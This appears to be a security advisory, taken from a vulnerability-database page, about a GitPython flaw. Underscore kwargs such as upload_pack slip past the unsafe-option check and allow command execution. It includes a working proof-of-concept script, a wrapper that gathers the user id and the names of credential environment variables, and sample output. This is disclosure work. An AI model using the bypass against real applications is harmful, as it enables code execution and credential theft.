
PEACH
Un framework di isolamento del tenant
GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:upload_pack=... becomes --upload-pack=...receive_pack=... becomes --receive-pack=...Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.In practice:remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionErrorremote.fetch(upload_pack=helper) is allowed and reaches helper executionThe same bypass works for:Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.
Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136 checks {"upload-pack": ...}test/test_remote.py:830-833 checks {"upload-pack": ...}test/test_remote.py:968-975 checks {"receive-pack": ...}Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activateimport os
import stat
import subprocess
import tempfile
from git import Repo
from git.exc import UnsafeOptionError
# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")
# Setup: this wrapper is just to demo things you can do, not required for the exploit to work
# you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
f.write(f"""#!/bin/sh
{{
echo "code_exec=1"
echo "whoami=$(id)"
echo "cwd=$(pwd)"
echo "uname=$(uname -a)"
printf 'argv='; printf '<%s>' "$@"; echo
env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true
}} > '{proof}'
exec git-upload-pack "$@"
""")
os.chmod(wrapper, stat.S_IRWXU)
subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
with open(os.path.join(producer, "README"), "w") as f:
f.write("x")
subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
check=True,
stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
repo = Repo(victim)
remote = repo.remote("origin")
# the literal Git option name is properly blocked.
try:
remote.fetch(**{"upload-pack": wrapper})
print("control=unexpected_success")
except UnsafeOptionError:
print("control=blocked")
# this is the actual vulnerability
# you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact
# if you do the "touch /tmp/proof" the script will crash, but the file will have been created
remote.fetch(upload_pack=wrapper)
# Proof: the helper ran as the GitPython host process.
print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())control=blockedproof_exists True ...id, working directory, argv, and selected environment variable namesExample output:GitPython % python3 test.py
control=blocked
proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt
code_exec=1
whoami=uid=501(wes) gid=20(staff) <redacted>
cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim
uname=Darwin <redacted> Darwin Kernel Version <redacted>; root:xnu-11417. <redacted>
argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>
USER=<redacted>
SSH_AUTH_SOCK=<redacted>
PATH=<redacted>
HOME=<redacted>This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.
Who is impacted:
**kwargsupload_pack or receive_pack in the kwargs passed to Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push()From a severity perspective, this could lead toFonte: NVD
Valutazione gratuita delle vulnerabilità
Valuta le tue pratiche di sicurezza cloud in 9 domini di sicurezza per confrontare il tuo livello di rischio e identificare le lacune nelle tue difese.
Richiedi una demo personalizzata
"La migliore esperienza utente che abbia mai visto offre piena visibilità ai carichi di lavoro cloud."
"Wiz fornisce un unico pannello di controllo per vedere cosa sta succedendo nei nostri ambienti cloud."
"Sappiamo che se Wiz identifica qualcosa come critico, in realtà lo è."